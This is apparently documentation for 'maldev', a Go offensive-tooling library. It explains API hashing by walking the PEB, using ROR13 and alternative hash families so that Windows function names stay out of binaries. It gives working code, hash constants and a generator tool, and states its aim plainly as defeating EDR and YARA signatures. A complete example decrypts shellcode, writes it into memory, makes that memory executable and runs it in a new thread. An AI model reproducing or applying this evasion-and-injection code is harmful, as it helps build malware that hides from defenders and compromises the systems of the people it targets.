API Hashing (PEB Walk + ROR13)
MITRE ATT&CK: T1106 - Native API D3FEND: D3-FCR - Function Call Restriction
What api-hashing is NOT
[!IMPORTANT]
api-hashingis only the symbol-resolution axis (concern #3 in README.md). It answers "how do I find the right export without a plaintext string?".It does not decide:
- how the syscall fires — that's the calling method (
MethodWinAPI/MethodNativeAPI/MethodDirect/MethodIndirect/MethodIndirectAsm). See direct-indirect.md.- where the SSN comes from — that's the SSN resolver (
HellsGate/HalosGate/TartarusGate/Chain). See ssn-resolvers.md.HashGateis the resolver that uses api-hashing to find the Nt* prologue.Tuning hashing alone does not give you a stealthier syscall — a hash-resolved
MethodWinAPIcall still goes through every kernel32/ntdll hook in the process. Pair api-hashing with the calling method and SSN resolver you want.
Primer
When your program calls VirtualAlloc, the string "VirtualAlloc" appears in the binary. Any analyst running strings on your executable can see exactly which dangerous APIs you use.
Instead of calling someone by name (which gets overheard), you use a coded number. API hashing converts function names like "NtAllocateVirtualMemory" into numeric hashes like 0xD33BCABD. Your binary only contains these numbers -- no readable strings. At runtime, the code walks the Process Environment Block (PEB) to find loaded DLLs and their exports, hashing each export name until it finds a match.
How It Works
flowchart TD
subgraph "Build Time"
FN["Function name:\nNtAllocateVirtualMemory"] -->|ROR13| HASH["Hash constant:\n0xD33BCABD"]
MN["Module name:\nKERNEL32.DLL"] -->|"ROR13 (wide + null)"| MHASH["Hash constant:\n0x50BB715E"]
end
subgraph "Runtime Resolution"
TEB["Thread Environment Block\n(GS:0x30)"] -->|"+0x60"| PEB["Process Environment Block"]
PEB -->|"+0x18"| LDR["PEB_LDR_DATA"]
LDR -->|"+0x10"| LIST["InLoadOrderModuleList"]
LIST --> WALK["Walk linked list"]
WALK --> MOD1["ntdll.dll\nBase: 0x7FFE..."]
WALK --> MOD2["KERNEL32.DLL\nBase: 0x7FFD..."]
WALK --> MOD3["...other DLLs"]
MOD2 -->|"Hash BaseDllName\ncompare with 0x50BB715E"| MATCH["Module found!"]
MATCH -->|"Parse PE headers"| EXPORTS["Export Directory"]
EXPORTS -->|"Walk AddressOfNames"| EWALK["Hash each export name"]
EWALK -->|"Compare with 0xD33BCABD"| FOUND["Function address found!"]
end
HASH -.->|"embedded in binary"| EWALK
MHASH -.->|"embedded in binary"| MOD2
style HASH fill:#a94,color:#fff
style MHASH fill:#a94,color:#fff
style FOUND fill:#4a9,color:#fff
PEB Walk Details
The PEB (Process Environment Block) contains a list of all loaded DLLs. On x64 Windows:
- TEB (Thread Environment Block) is at
GS:0x30 - PEB is at
TEB+0x60 - PEB_LDR_DATA is at
PEB+0x18 - InLoadOrderModuleList starts at
LDR+0x10
Each entry in the list is an LDR_DATA_TABLE_ENTRY containing:
+0x30: DllBase (the module's base address)+0x58: BaseDllName as UNICODE_STRING (Length, MaxLength, Buffer)
ROR13 Hashing
ROR13 (Rotate Right by 13 bits) is the de facto standard for shellcode API hashing:
For each character c in the name:
hash = (hash >> 13) | (hash << 19) // rotate right 13 bits
hash = hash + c // add character value
Two variants exist in maldev:
- ROR13 (
hash.ROR13): ASCII, no null terminator -- used for export names - ROR13Module (
hash.ROR13Module): UTF-16LE wide chars + null terminator -- used for PEB module names
Beyond ROR13 — defeating signature engines
Many EDR signature engines key on the canonical ROR13 constants
(0x6A4ABC5B for kernel32, 0x4FC8BB5A for LoadLibraryA, …).
If the engine sees those uint32s in a binary's .rdata, it
flags the file regardless of the runtime behaviour.
Pivoting to a different hash family makes the implant's
constants statically distinct. The hash package ships:
| Function | Output | Notes |
|---|---|---|
hash.ROR13(name) | uint32 | Canonical shellcode hash; widest signature exposure. |
hash.JenkinsOAAT(name) | uint32 | Bob Jenkins one-at-a-time + avalanche tail; cheap, no division, slightly better avalanche than ROR13. |
hash.FNV1a32(name) | uint32 | FNV-1a 32-bit; matches hash/fnv byte-for-byte. |
hash.FNV1a64(name) | uint64 | FNV-1a 64-bit. |
hash.DJB2(name) | uint32 | Bernstein hash * 33 + c; classic, weaker on short inputs. |
hash.CRC32(name) | uint32 | IEEE polynomial; backed by hash/crc32 table. |
Compose with win/syscall:
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
Both ends MUST agree: NewHashGateWith(fn) for the resolver,
WithHashFunc(fn) for any CallByHash call. Pre-compute the
hash constants once at build time (or via a go generate step)
to keep the binary string-free.
cmd/hashgen — generate the constants
Use the in-tree CLI to emit const Hash<Algo><Symbol> = 0x…
declarations for any of the 7 supported algorithms (ror13,
ror13module, fnv1a32, fnv1a64, jenkins, djb2, crc32):
go run ./cmd/hashgen -algo jenkins -package winhashes \
LoadLibraryA GetProcAddress NtAllocateVirtualMemory > winhashes/winhashes_gen.go
Or, for go generate-style integration, drop a stanza like the
following into a stub file and check the generated output into git:
//go:generate go run ../../cmd/hashgen -algo jenkins -package winhashes -o winhashes_gen.go LoadLibraryA GetProcAddress
This keeps the runtime cost zero (no hashing on each process start) and the binary string-free.
PE Export Resolution
Once the module base is found, the code parses the PE export directory:
- Read
e_lfanewat offset0x3Cto find the PE header - Navigate to
DataDirectory[0](export directory) at PE header+24+112 - Walk
AddressOfNames, hash each name, compare with target hash - On match, read the ordinal from
AddressOfNameOrdinalsand the RVA fromAddressOfFunctions
Usage
ResolveByHash: Find a Function Address
import "github.com/oioio-space/maldev/win/api"
// Resolve LoadLibraryA in KERNEL32.DLL -- no strings in binary
addr, err := api.ResolveByHash(api.HashKernel32, api.HashLoadLibraryA)
if err != nil {
log.Fatal(err)
}
// addr is now the function pointer for LoadLibraryA
CallByHash: Execute a Syscall by Hash
import (
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// NtAllocateVirtualMemory via hash -- zero plaintext function names
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
HashGateResolver: SSN Resolution by Hash
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// HashGate resolves SSNs via PEB walk -- no LazyProc.Find() calls
resolver := wsyscall.NewHashGate()
ssn, err := resolver.Resolve("NtCreateThreadEx")
// ssn is the syscall service number (e.g., 0xC1)
Pre-Computed Hash Constants
// Module hashes (ROR13Module of BaseDllName in PEB)
api.HashKernel32 // 0x50BB715E "KERNEL32.DLL"
api.HashNtdll // 0x411677B7 "ntdll.dll"
api.HashAdvapi32 // 0x9CB9105F "ADVAPI32.dll"
api.HashUser32 // 0x51319D6F "USER32.dll"
api.HashShell32 // 0x18D72CAC "SHELL32.dll"
// Function hashes (ROR13 of ASCII export name)
api.HashLoadLibraryA // 0xEC0E4E8E
api.HashGetProcAddress // 0x7C0DFCAA
api.HashVirtualAlloc // 0x91AFCA54
api.HashNtAllocateVirtualMemory // 0xD33BCABD
api.HashNtProtectVirtualMemory // 0x8C394D89
api.HashNtCreateThreadEx // 0x4D1DEB74
api.HashNtWriteVirtualMemory // 0xC5108CC2
Combined Example: defeat ROR13 fingerprinting
A ROR13-only signature engine sees the canonical
api.HashLoadLibraryA = 0xEC0E4E8E constant in the binary's
.rdata and flags the file. Switching the entire stack to
JenkinsOAAT changes that constant to a fresh value the engine
never trained on:
package main
import (
"fmt"
"github.com/oioio-space/maldev/hash"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// Both ends MUST agree on the hash family.
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
defer caller.Close()
// Pre-compute the funcHash at build time. JenkinsOAAT yields a
// different uint32 than ROR13 for the same name, so existing
// signature databases targeting the ROR13 constant don't match.
ntClose := hash.JenkinsOAAT("NtClose") // = 0x???????? (your build's value)
if _, err := caller.CallByHash(ntClose, 0); err != nil {
fmt.Println("syscall:", err)
}
}
hash.FNV1a32, hash.DJB2, hash.CRC32, and hash.FNV1a64
swap in identically — pick the family least represented in the
target signature corpus.
Combined Example: String-Free Injection
package main
import (
"unsafe"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// All function resolution via hashes -- no "NtAllocateVirtualMemory" string in binary
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// Decrypt shellcode (key would be derived at runtime in production)
key, _ := crypto.NewAESKey()
shellcode := []byte{/* ... */}
encrypted, _ := crypto.EncryptAESGCM(key, shellcode)
decrypted, _ := crypto.DecryptAESGCM(key, encrypted)
// Allocate memory via hash
var baseAddr uintptr
regionSize := uintptr(len(decrypted))
caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
// Write shellcode via hash
var bytesWritten uintptr
caller.CallByHash(api.HashNtWriteVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr,
uintptr(unsafe.Pointer(&decrypted[0])),
uintptr(len(decrypted)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
// Change protection via hash
var oldProtect uintptr
caller.CallByHash(api.HashNtProtectVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(®ionSize)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
// Execute via hash
var threadHandle uintptr
caller.CallByHash(api.HashNtCreateThreadEx,
uintptr(unsafe.Pointer(&threadHandle)),
0x1FFFFF, 0, uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr, 0, 0, 0, 0, 0, 0,
)
windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
}
Advantages & Limitations
Advantages
- No plaintext strings:
stringsand YARA rules targeting API names find nothing - No IAT entries: Functions resolved at runtime are invisible in the Import Address Table
- Composable: HashGate works as an SSNResolver in the Chain pipeline
- Lazy init: ntdll base address resolved once via
sync.Once, cached for all subsequent calls
Limitations
- ROR13 collisions: Theoretically possible (32-bit hash space), though none exist for common NT function names
- PEB walk detectable: ETW providers and some EDRs monitor PEB traversal patterns
- Hash constants are signatures: Known ROR13 values (e.g.,
0xD33BCABDfor NtAllocateVirtualMemory) become YARA targets themselves — switch families (hash.JenkinsOAAT/hash.FNV1a32/hash.DJB2/hash.CRC32) to render those signatures useless against your binary - No pre-computed Hash* constants for non-ROR13 families:
win/api.HashKernel32/HashLoadLibraryA/ etc. are ROR13-only. When pairingwsyscall.NewHashGateWith(hash.JenkinsOAAT)withCaller.CallByHash, callers compute the funcHash at build time themselves. Acmd/hashgengo generatestep that emits per-family constant tables is queued under backlog row P2.24. - Requires loaded modules: Can only resolve functions from DLLs already in the PEB -- cannot load new DLLs by hash alone
API Reference
win/api
// ResolveByHash resolves a function address by module + function ROR13 hashes.
func ResolveByHash(moduleHash, funcHash uint32) (uintptr, error)
// ModuleByHash finds a loaded module's base address via PEB walk.
func ModuleByHash(hash uint32) (uintptr, error)
// ExportByHash finds a function address in a loaded PE by export name hash.
func ExportByHash(moduleBase uintptr, funcHash uint32) (uintptr, error)
win/syscall
// CallByHash executes a syscall using a pre-computed ROR13 hash.
func (c *Caller) CallByHash(funcHash uint32, args ...uintptr) (uintptr, error)
// NewHashGate creates a resolver that uses PEB walk + ROR13 hashing.
func NewHashGate() *HashGateResolver
hash
// ROR13 computes the ROR13 hash of an ASCII string (no null terminator).
func ROR13(name string) uint32
// ROR13Module computes the ROR13 hash of a UTF-16LE module name (with null terminator).
func ROR13Module(name string) uint32
See also
- Syscalls area README
syscalls/ssn-resolvers.md— the resolver chain that uses these hashessyscalls/direct-indirect.md— the calling-method side of the same Caller seam